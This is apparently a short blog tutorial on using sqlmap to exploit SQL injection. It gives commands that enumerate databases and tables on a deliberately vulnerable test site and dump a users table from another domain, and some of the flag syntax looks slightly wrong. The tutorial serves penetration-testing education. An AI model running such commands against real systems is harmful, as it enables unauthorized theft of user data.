SQLMAP - TOOL | Shahul Hameed

SQL Injection using (SQLMAP TOOL)

SQL MAP:

SQLMAP is an open-source penetration testing tool written in python to detect and exploit SQL Injection flaws. It works for all modern databases including MySQL, PostgreSQL, oracle, Microsoft SQL server, etc

Step 1:

Find the SQL Error parameter variable in the application.


Step 2:
Copy the URL path and paste it into the sqlmap tool.
CMD:
 $ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
    --dbs = Enumerate the databases.
    -u = url



Step 3:
Enumerate the table lists from the database.
CMD:
$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 information_schema --tables



Step 4:
Dump the user table information from the database.
$ sqlmap -u https://testdemo.com/sports.php?id=1 acuart --tables users --dump




Comments

Popular posts from this blog

Using Burp Suite - Brute Force payloads using XSS Validator(Extension) | Shahul Hameed

Janus Vulnerability Exploitation

SQL Basics | Shahul Hameed